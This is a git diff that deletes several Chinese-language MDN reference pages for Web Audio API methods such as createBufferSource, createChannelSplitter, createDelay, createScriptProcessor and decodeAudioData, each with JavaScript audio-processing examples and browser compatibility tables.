createBufferSource() 方法用于创建一个新的{{ domxref("AudioBufferSourceNode") }}接口, 该接口可以通过{{ domxref("AudioBuffer") }} 对象来播放音频数据. {{ domxref("AudioBuffer") }}对象可以通过{{domxref("AudioContext.createBuffer")}} 来创建或者通过 {{domxref("AudioContext.decodeAudioData")}}成功解码音轨后获取.

-
- -

语法

- -
var audioCtx = new AudioContext();
-var source = audioCtx.createBufferSource();
- -

返回

- -

一个{{domxref("AudioBufferSourceNode")}}对象.

- -

例子

- -

在这个例子中, 我们将会创建一个2秒的缓冲器,并用白噪音填充它, 然后通过{{ domxref("AudioBufferSourceNode") }}来播放它. 

- -
-

Note: You can also run the code live, or view the source.

-
- -
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
-var button = document.querySelector('button');
-var pre = document.querySelector('pre');
-var myScript = document.querySelector('script');
-
-pre.innerHTML = myScript.innerHTML;
-
-// Stereo
-var channels = 2;
-// Create an empty two second stereo buffer at the
-// sample rate of the AudioContext
-var frameCount = audioCtx.sampleRate * 2.0;
-
-var myArrayBuffer = audioCtx.createBuffer(2, frameCount, audioCtx.sampleRate);
-
-button.onclick = function() {
-  // Fill the buffer with white noise;
-  //just random values between -1.0 and 1.0
-  for (var channel = 0; channel < channels; channel++) {
-   // This gives us the actual ArrayBuffer that contains the data
-   var nowBuffering = myArrayBuffer.getChannelData(channel);
-   for (var i = 0; i < frameCount; i++) {
-     // Math.random() is in [0; 1.0]
-     // audio needs to be in [-1.0; 1.0]
-     nowBuffering[i] = Math.random() * 2 - 1;
-   }
-  }
-
-  // Get an AudioBufferSourceNode.
-  // This is the AudioNode to use when we want to play an AudioBuffer
-  var source = audioCtx.createBufferSource();
-  // set the buffer in the AudioBufferSourceNode
-  source.buffer = myArrayBuffer;
-  // connect the AudioBufferSourceNode to the
-  // destination so we can hear the sound
-  source.connect(audioCtx.destination);
-  // start the source playing
-  source.start();
-}
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createBufferSource-AudioBufferSourceNode', 'createBufferSource()')}}{{Spec2('Web Audio API')}} 
- -

浏览器支持

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

See also

- - diff --git a/files/zh-cn/web/api/audiocontext/createchannelmerger/index.html b/files/zh-cn/web/api/audiocontext/createchannelmerger/index.html deleted file mode 100644 index 281dcddfe7..0000000000 --- a/files/zh-cn/web/api/audiocontext/createchannelmerger/index.html +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: AudioContext.createChannelMerger() -slug: Web/API/AudioContext/createChannelMerger -tags: - - API - - Audio - - AudioContext - - Audio_Chinese -translation_of: Web/API/BaseAudioContext/createChannelMerger ---- -

{{ APIRef("Web Audio API") }}

- -
-

AudioContext.createChannelMerger()方法,会创建一个ChannelMergerNode,后者可以把多个音频流的通道整合到一个音频流。

-
- -

语法

- -
var audioCtx = new AudioContext();
-var merger = audioCtx.createChannelMerger(2);
- -

参数

- -
-
numberOfInputs
-
通道输入音频流的数量,输出流将包含这个数量的通道。默认值6。
-
- -

返回值

- -

一个 {{domxref("ChannelMergerNode")}}.

- -

(举个)栗(例)子

- -

下面的例子展示了如何分离立体音轨(就是一段音乐),处理使左右声道不同。使用的时候,需要指定AudioNode.connect(AudioNode)方法的第二个和第三个参数,分别用来指定通道链接来源的索引和输出的索引。

- -
var ac = new AudioContext();
-ac.decodeAudioData(someStereoBuffer, function(data) {
- var source = ac.createBufferSource();
- source.buffer = data;
- var splitter = ac.createChannelSplitter(2);
- source.connect(splitter);
- var merger = ac.createChannelMerger(2);
-
- // Reduce the volume of the left channel only
- var gainNode = ac.createGain();
- gainNode.gain.value = 0.5;
- splitter.connect(gainNode, 0);
-
- // Connect the splitter back to the second input of the merger: we
- // effectively swap the channels, here, reversing the stereo image.
- gainNode.connect(merger, 0, 1);
- splitter.connect(merger, 1, 0);
-
- var dest = ac.createMediaStreamDestination();
-
- // Because we have used a ChannelMergerNode, we now have a stereo
- // MediaStream we can use to pipe the Web Audio graph to WebRTC,
- // MediaRecorder, etc.
- merger.connect(dest);
-});
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createChannelMerger-ChannelMergerNode-unsigned-long-numberOfInputs', 'createChannelMerger()')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

相关页面

- - diff --git a/files/zh-cn/web/api/audiocontext/createchannelsplitter/index.html b/files/zh-cn/web/api/audiocontext/createchannelsplitter/index.html deleted file mode 100644 index f46f5be2c5..0000000000 --- a/files/zh-cn/web/api/audiocontext/createchannelsplitter/index.html +++ /dev/null @@ -1,138 +0,0 @@ ---- -title: AudioContext.createChannelSplitter() -slug: Web/API/AudioContext/createChannelSplitter -translation_of: Web/API/BaseAudioContext/createChannelSplitter ---- -

{{ APIRef("Web Audio API") }}

- -
-

The createChannelSplitter() method of the {{ domxref("AudioContext") }} Interface is used to create a {{domxref("ChannelSplitterNode")}}, which is used to access the individual channels of an audio stream and process them separately.

-
- -

Syntax

- -
var audioCtx = new AudioContext();
-var splitter = audioCtx.createChannelSplitter(2);
- -

参数

- -
-
numberOfOutputs
-
你期待将输入音频分割成的声道道数目; 当不传入参数时,默认为6
-
- -

Returns

- -

一个 {{domxref("ChannelSplitterNode")}}.

- -

Example

- -

下面这个简单的例子告诉你怎样分割一个双声道音轨 (或者说一段音乐), 以及对于左右声道不同的处理. 要使用它们, 你需要用到{{domxref("AudioNode.connect(AudioNode)") }}方法的第二个和第三个参数, 他们会指定链接声道源的序号和链接到的声道序号.

- -
var ac = new AudioContext();
-ac.decodeAudioData(someStereoBuffer, function(data) {
- var source = ac.createBufferSource();
- source.buffer = data;
- var splitter = ac.createChannelSplitter(2);
- source.connect(splitter);
- var merger = ac.createChannelMerger(2);
-
- // Reduce the volume of the left channel only
- var gainNode = ac.createGain();
- gainNode.gain.value = 0.5;
- splitter.connect(gainNode, 0);
-
- // Connect the splitter back to the second input of the merger: we
- // effectively swap the channels, here, reversing the stereo image.
- gainNode.connect(merger, 0, 1);
- splitter.connect(merger, 1, 0);
-
- var dest = ac.createMediaStreamDestination();
-
- // Because we have used a ChannelMergerNode, we now have a stereo
- // MediaStream we can use to pipe the Web Audio graph to WebRTC,
- // MediaRecorder, etc.
- merger.connect(dest);
-});
- -

规格

- - - - - - - - - - - - - - -
规格状态注释
{{SpecName('Web Audio API', '#widl-AudioContext-createChannelSplitter-ChannelSplitterNode-unsigned-long-numberOfOutputs', 'createChannelSplitter()')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audiocontext/createconvolver/index.html b/files/zh-cn/web/api/audiocontext/createconvolver/index.html deleted file mode 100644 index 2cbe395edc..0000000000 --- a/files/zh-cn/web/api/audiocontext/createconvolver/index.html +++ /dev/null @@ -1,131 +0,0 @@ ---- -title: AudioContext.createConvolver() -slug: Web/API/AudioContext/createConvolver -translation_of: Web/API/BaseAudioContext/createConvolver ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }}的方法createConvolver()能创建一个{{ domxref("ConvolverNode") }},通常用来对你的音频应用混响效果。在 Convolution规范定义 中查看更多信息。

-
- -

语法

- -
var audioCtx = new AudioContext();
-var convolver = audioCtx.createConvolver();
- -

返回值

- -

{{domxref("ConvolverNode")}}对象。

- -

例子

- -

下面的例子展示了一个 AudioContext 创建一个 混响器节点 的基本使用方法。基本前提是你创建一个包含声音样本的 AudioBuffer 用作混响环境 (称之为脉冲响应,) 和在混响器中应用。 下面的例子使用了一个简短的示例音乐厅人群效果,所以混响效果应用深度和回声。

- -

更多完整例子请查看Voice-change-O-matic demo (中app.js的代码)。

- -
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
-var convolver = audioCtx.createConvolver();
-
-  ...
-
-// grab audio track via XHR for convolver node
-
-var soundSource, concertHallBuffer;
-
-ajaxRequest = new XMLHttpRequest();
-ajaxRequest.open('GET', 'concert-crowd.ogg', true);
-ajaxRequest.responseType = 'arraybuffer';
-
-ajaxRequest.onload = function() {
-  var audioData = ajaxRequest.response;
-  audioCtx.decodeAudioData(audioData, function(buffer) {
-      concertHallBuffer = buffer;
-      soundSource = audioCtx.createBufferSource();
-      soundSource.buffer = concertHallBuffer;
-    }, function(e){"Error with decoding audio data" + e.err});
-}
-
-ajaxRequest.send();
-
-  ...
-
-convolver.buffer = concertHallBuffer;
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createConvolver-ConvolverNode', 'createConvolver()')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audiocontext/createdelay/index.html b/files/zh-cn/web/api/audiocontext/createdelay/index.html deleted file mode 100644 index b8e502758d..0000000000 --- a/files/zh-cn/web/api/audiocontext/createdelay/index.html +++ /dev/null @@ -1,213 +0,0 @@ ---- -title: AudioContext.createDelay() -slug: Web/API/AudioContext/createDelay -translation_of: Web/API/BaseAudioContext/createDelay ---- -

{{ APIRef("Web Audio API") }}

- -
-

  createDelay() 是  {{ domxref("AudioContext") }}   的一个方法,作用是将输入音频信号延迟一定时间。(比如可以实现 对着话筒说句话,然后几秒后 这句话从音响里播放出来)

- -

 

-
- -

语法

- -
var audioCtx = new AudioContext();
-var synthDelay = audioCtx.createDelay(maxDelayTime);
- -

参数

- -
-
maxDelayTime
-
设置最大允许延迟的时间,以“秒”为单位
-
- -

返回

- -

A {{domxref("DelayNode")}}. The default {{domxref("DelayNode.delayTime")}} if no parameter is passed to createDelay() is 0 seconds.

- -

以上是原文,大意是返回延时时间,没有设置时默认是0

- -

 

- -

示例

- -

首先是中文版的简洁的示例,这个例子中 话筒里接收到的声音 会延迟3秒 从音响中播放

- -
window.AudioContext = window.AudioContext || window.webkitAudioContext || window.mozAudioContext || window.msAudioContext;
-
-try {//音频相关api
-    var audioContext = new window.AudioContext();
-    var synthDelay = audioContext.createDelay(5.0);
-} catch (e) {
-    alert("你浏览器不支持");
-}
-
-
-var error = function (error) {alert("有错误"); };
-
-//以下是获取麦克风
-if (navigator.getUserMedia) { //标准api
- navigator.getUserMedia({ "audio": true },
- function (stream) {
- micto(stream);    //具体工作
-                   }, error);
-}else if(navigator.webkitGetUserMedia) {   //webkit api
- navigator.webkitGetUserMedia({audio:true, video:  false },
- function (stream) {
-  micto(stream); //具体工作
-                   }, error);
- }else if (navigator.mozGetUserMedia) {  //火狐 api
- navigator.mozGetUserMedia({ "audio": true },
- function (stream) {
-  micto(stream);//具体工作
-                   }, error);
- }else if (navigator.msGetUserMedia) { //ie api
- navigator.msGetUserMedia({ "audio": true },
- function (stream) {
-  micto(stream);//具体工作
-                   }, error);
- } else {
-   alert("您的浏览器版不支持这个api");
-}
-
-
-
-
-
- var micto = function(stream) {
-
-  synthDelay.delayTime.value = 3.0;   //延迟3秒
-
-  var source = audioContext.createMediaStreamSource(stream);
-
-  source.connect(synthDelay);
-
-  synthDelay.connect(audioContext.destination);
-
-      }
- 
- -

 

- -

 以下是英文版示例

- -

We have created a simple example that allows you to play three different samples on a constant loop — see create-delay (you can also view the source code). If you just press the play buttons, the loops will start immediately; if you slide the sliders up to the right, then press the play buttons, a delay will be introduced, so the looping sounds don't start playing for a short amount of time.

- -
var AudioContext = window.AudioContext || window.webkitAudioContext;
-var audioCtx = new AudioContext();
-
-var synthDelay = audioCtx.createDelay(5.0);
-
-  ...
-
-var synthSource;
-
-playSynth.onclick = function() {
-  synthSource = audioCtx.createBufferSource();
-  synthSource.buffer = buffers[2];
-  synthSource.loop = true;
-  synthSource.start();
-  synthSource.connect(synthDelay);
-  synthDelay.connect(destination);
-  this.setAttribute('disabled', 'disabled');
-}
-
-stopSynth.onclick = function() {
-  synthSource.disconnect(synthDelay);
-  synthDelay.disconnect(destination);
-  synthSource.stop();
-  playSynth.removeAttribute('disabled');
-}
-
-...
-
-var delay1;
-rangeSynth.oninput = function() {
-delay1 = rangeSynth.value;
-synthDelay.delayTime.value = delay1;
-}
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createDelay-DelayNode-double-maxDelayTime', 'createDelay()')}}{{Spec2('Web Audio API')}} 
- -

Browser compatibility

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

See also

- - diff --git a/files/zh-cn/web/api/audiocontext/createscriptprocessor/index.html b/files/zh-cn/web/api/audiocontext/createscriptprocessor/index.html deleted file mode 100644 index 7e505bc06a..0000000000 --- a/files/zh-cn/web/api/audiocontext/createscriptprocessor/index.html +++ /dev/null @@ -1,199 +0,0 @@ ---- -title: AudioContext.createScriptProcessor() -slug: Web/API/AudioContext/createScriptProcessor -translation_of: Web/API/BaseAudioContext/createScriptProcessor ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }} 接口的createScriptProcessor() 方法创建一个{{domxref("ScriptProcessorNode")}} 用于通过JavaScript直接处理音频.

-
- -

语法

- -
var audioCtx = new AudioContext();
-myScriptProcessor = audioCtx.createScriptProcessor(bufferSize, numberOfInputChannels, numberOfOutputChannels);
- -

参数

- -
-
bufferSize
-
缓冲区大小,以样本帧为单位。具体来讲,缓冲区大小必须是下面这些值当中的某一个: 256, 512, 1024, 2048, 4096, 8192, 16384. 如果不传,或者参数为0,则取当前环境最合适的缓冲区大小, 取值为2的幂次方的一个常数,在该node的整个生命周期中都不变.
-
该取值控制着audioprocess事件被分派的频率,以及每一次调用多少样本帧被处理. 较低bufferSzie将导致一定的延迟。较高的bufferSzie就要注意避免音频的崩溃和故障。推荐作者不要给定具体的缓冲区大小,让系统自己选一个好的值来平衡延迟和音频质量。
-
numberOfInputChannels
-
值为整数,用于指定输入node的声道的数量,默认值是2,最高能取32.
-
numberOfOutputChannels
-
值为整数,用于指定输出node的声道的数量,默认值是2,最高能取32.
-
- -
-

重要: Webkit (version 31)要求调用这个方法的时候必须传入一个有效的bufferSize .

-
- -
-

注意: numberOfInputChannelsnumberOfOutputChannels的值不能同时为0,二者同时为0是无效的

-
- -

返回

- -

A {{domxref("ScriptProcessorNode")}}.

- -

示例

- -

下面的例子展示了一个ScriptProcessorNode的基本用法,数据源取自 {{ domxref("AudioContext.decodeAudioData") }}, 给每一个音频样本加一点白噪声,然后通过{{domxref("AudioDestinationNode")}}播放(其实这个就是系统的扬声器)。 对于每一个声道和样本帧,在把结果当成输出样本之前,scriptNode.onaudioprocess方法关联audioProcessingEvent ,并用它来遍历每输入流的每一个声道,和每一个声道中的每一个样本,并添加一点白噪声。

- -
-

注意: 完整的示例参照 script-processor-node github (查看源码 source code.)

-
- -
var myScript = document.querySelector('script');
-var myPre = document.querySelector('pre');
-var playButton = document.querySelector('button');
-
-// Create AudioContext and buffer source
-var audioCtx = new AudioContext();
-source = audioCtx.createBufferSource();
-
-// Create a ScriptProcessorNode with a bufferSize of 4096 and a single input and output channel
-var scriptNode = audioCtx.createScriptProcessor(4096, 1, 1);
-console.log(scriptNode.bufferSize);
-
-// load in an audio track via XHR and decodeAudioData
-
-function getData() {
-  request = new XMLHttpRequest();
-  request.open('GET', 'viper.ogg', true);
-  request.responseType = 'arraybuffer';
-  request.onload = function() {
-    var audioData = request.response;
-
-    audioCtx.decodeAudioData(audioData, function(buffer) {
-    myBuffer = buffer;
-    source.buffer = myBuffer;
-  },
-    function(e){"Error with decoding audio data" + e.err});
-  }
-  request.send();
-}
-
-// Give the node a function to process audio events
-scriptNode.onaudioprocess = function(audioProcessingEvent) {
-  // The input buffer is the song we loaded earlier
-  var inputBuffer = audioProcessingEvent.inputBuffer;
-
-  // The output buffer contains the samples that will be modified and played
-  var outputBuffer = audioProcessingEvent.outputBuffer;
-
-  // Loop through the output channels (in this case there is only one)
-  for (var channel = 0; channel < outputBuffer.numberOfChannels; channel++) {
-    var inputData = inputBuffer.getChannelData(channel);
-    var outputData = outputBuffer.getChannelData(channel);
-
-    // Loop through the 4096 samples
-    for (var sample = 0; sample < inputBuffer.length; sample++) {
-      // make output equal to the same as the input
-      outputData[sample] = inputData[sample];
-
-      // add noise to each output sample
-      outputData[sample] += ((Math.random() * 2) - 1) * 0.2;
-    }
-  }
-}
-
-getData();
-
-// wire up play button
-playButton.onclick = function() {
-  source.connect(scriptNode);
-  scriptNode.connect(audioCtx.destination);
-  source.start();
-}
-
-// When the buffer source stops playing, disconnect everything
-source.onended = function() {
-  source.disconnect(scriptNode);
-  scriptNode.disconnect(audioCtx.destination);
-}
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createScriptProcessor-ScriptProcessorNode-unsigned-long-bufferSize-unsigned-long-numberOfInputChannels-unsigned-long-numberOfOutputChannels', 'createScriptProcessor')}}{{Spec2('Web Audio API')}}
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

See also

- - diff --git a/files/zh-cn/web/api/audiocontext/createwaveshaper/index.html b/files/zh-cn/web/api/audiocontext/createwaveshaper/index.html deleted file mode 100644 index 7aef8d5688..0000000000 --- a/files/zh-cn/web/api/audiocontext/createwaveshaper/index.html +++ /dev/null @@ -1,133 +0,0 @@ ---- -title: AudioContext.createWaveShaper() -slug: Web/API/AudioContext/createWaveShaper -translation_of: Web/API/BaseAudioContext/createWaveShaper ---- -

{{ APIRef("Web Audio API") }}

- -

{{ domxref("AudioContext") }} 接口的createWaveShaper()方法创建了 表示非线性失真的{{ domxref("WaveShaperNode") }}。该节点通常被用来给音频添加失真效果

- -

语法

- -
var audioCtx = new AudioContext();
-var distortion = audioCtx.createWaveShaper();
- -

返回

- -

A {{domxref("WaveShaperNode")}}.

- -

例子

- -

The following example shows basic usage of an AudioContext to create a wave shaper node. For applied examples/information, check out our Voice-change-O-matic demo (see app.js for relevant code).

- -

下面的例子展示了AudioContext创建一个波形整形器节点的基本用法。有关应用示例/信息,请查看我们的oice-change-O-matic demo演示(有关代码,请参阅app.js)。

- -
-

:实现失真曲线并不是简单的事情,你可能需要到处找资料来找到这样的算法。我们在Stack Overflow上找到了以下的失真曲线代码

-
- -
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
-var distortion = audioCtx.createWaveShaper();
-
-  ...
-
-function makeDistortionCurve(amount) {
-  var k = typeof amount === 'number' ? amount : 50,
-    n_samples = 44100,
-    curve = new Float32Array(n_samples),
-    deg = Math.PI / 180,
-    i = 0,
-    x;
-  for ( ; i < n_samples; ++i ) {
-    x = i * 2 / n_samples - 1;
-    curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.abs(x) );
-  }
-  return curve;
-};
-
-  ...
-
-distortion.curve = makeDistortionCurve(400);
-distortion.oversample = '4x';
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createWaveShaper-WaveShaperNode', 'createWaveShaper()')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

See also

- - diff --git a/files/zh-cn/web/api/audiocontext/currenttime/index.html b/files/zh-cn/web/api/audiocontext/currenttime/index.html deleted file mode 100644 index fbdaf4315c..0000000000 --- a/files/zh-cn/web/api/audiocontext/currenttime/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: AudioContext.currentTime -slug: Web/API/AudioContext/currentTime -translation_of: Web/API/BaseAudioContext/currentTime ---- -

{{ APIRef("Web Audio API") }}

- -
-

currentTime是{{ domxref("AudioContext") }}的一个read-only属性,返回double秒(从0开始)表示一个只增不减的硬件时间戳,可以用来控制音频回放,实现可视化时间轴等等。

-
- -

语法

- -
var audioCtx = new AudioContext();
-console.log(audioCtx.currentTime);
- -

返回值

- -

A double.

- -

例子

- -
-

注意:想要完整的Web Audio例子的话,可以去MDN Github repo看DEMO(例如panner-node不妨试试在浏览器控制台输入audioCtx.currentTime。

-
- -
var AudioContext = window.AudioContext || window.webkitAudioContext;
-var audioCtx = new AudioContext();
-// Older webkit/blink browsers require a prefix
-
-...
-
-console.log(audioCtx.currentTime);
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-currentTime', 'currentTime')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audiocontext/decodeaudiodata/index.html b/files/zh-cn/web/api/audiocontext/decodeaudiodata/index.html deleted file mode 100644 index 40693fd8cc..0000000000 --- a/files/zh-cn/web/api/audiocontext/decodeaudiodata/index.html +++ /dev/null @@ -1,223 +0,0 @@ ---- -title: AudioContext.decodeAudioData() -slug: Web/API/AudioContext/decodeAudioData -tags: - - API - - Audio - - audio接口 - - 音频解码 -translation_of: Web/API/BaseAudioContext/decodeAudioData ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }}接口的decodeAudioData()方法可用于异步解码音频文件中的 {{domxref("ArrayBuffer")}}. ArrayBuffer数据可以通过{{domxref("XMLHttpRequest")}}和{{domxref("FileReader")}}来获取. AudioBuffer是通过AudioContext采样率进行解码的,然后通过回调返回结果.

-
- -

这是从音频轨道创建用于web audio API音频源的首选方法。

- -

语法

- -

旧版的回调函数语法

- -
audioCtx.decodeAudioData(audioData, function(decodedData) {
-  // use the dec​oded data here
-});
- -

新版的promise-based语法:

- -
audioCtx.decodeAudioData(audioData).then(function(decodedData) {
-  // use the decoded data here
-});
- -

举例

- -

在本章节中,我们将首先学习基于回调的系统,然后采用新的基于promise-based的语法

- -

旧的回调语法

- -

在这个事例中, getData() 方法使用XHR加载一个音轨,设置请求的responsetype为ArrayBuffer使它返回一个arraybuffer数据,然后存储在audioData变量中. 然后我们将这个arraybuffer数据置于decodeAudioData()方法中使用,当成功解码PCM Data后通过回调返回, 将返回的结果通过{{ domxref("AudioContext.createBufferSource()") }}接口进行处理并获得一个{{ domxref("AudioBufferSourceNode") }}, 将源连接至{{domxref("AudioContext.destination") }}并将它设置为循环的.

- -

通过按钮来运行 getData() 来获取音轨并播放它. 当使用 stop() 方法后source将会被清除.

- -
-

Note: You can run the example live (or view the source.)

-
- -
// define variables
-
-var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
-var source;
-
-var pre = document.querySelector('pre');
-var myScript = document.querySelector('script');
-var play = document.querySelector('.play');
-var stop = document.querySelector('.stop');
-
-// use XHR to load an audio track, and
-// decodeAudioData to decode it and stick it in a buffer.
-// Then we put the buffer into the source
-
-function getData() {
-  source = audioCtx.createBufferSource();
-  var request = new XMLHttpRequest();
-
-  request.open('GET', 'viper.ogg', true);
-
-  request.responseType = 'arraybuffer';
-
-
-  request.onload = function() {
-    var audioData = request.response;
-
-    audioCtx.decodeAudioData(audioData, function(buffer) {
-        source.buffer = buffer;
-
-        source.connect(audioCtx.destination);
-        source.loop = true;
-      },
-
-      function(e){"Error with decoding audio data" + e.err});
-
-  }
-
-  request.send();
-}
-
-// wire up buttons to stop and play audio
-
-play.onclick = function() {
-  getData();
-  source.start(0);
-  play.setAttribute('disabled', 'disabled');
-}
-
-stop.onclick = function() {
-  source.stop(0);
-  play.removeAttribute('disabled');
-}
-
-
-// dump script to pre element
-
-pre.innerHTML = myScript.innerHTML;
- -

新的promise-based语法

- -
ctx.decodeAudioData(compressedBuffer).then(function(decodedData) {
- // use the decoded data here
-});
- -

参数

- -
-
ArrayBuffer
-
将会被解码的音频数据,可通过{{domxref("XMLHttpRequest")}}或{{domxref("FileReader")}}来获取.
-
DecodeSuccessCallback
-
当成功解码后会被调用的回调函数. 该回调函数只有一个AudioBuffer类型参数.
-
DecodeErrorCallback
-
一个可选的错误回调函数.
-
- -

返回

- -

一个 {{domxref("Promise") }}对象.

- -

标准

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-decodeAudioData-Promise-AudioBuffer--ArrayBuffer-audioData-DecodeSuccessCallback-successCallback-DecodeErrorCallback-errorCallback', 'decodeAudioData()')}}{{Spec2('Web Audio API')}} 
- -

浏览器支持

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
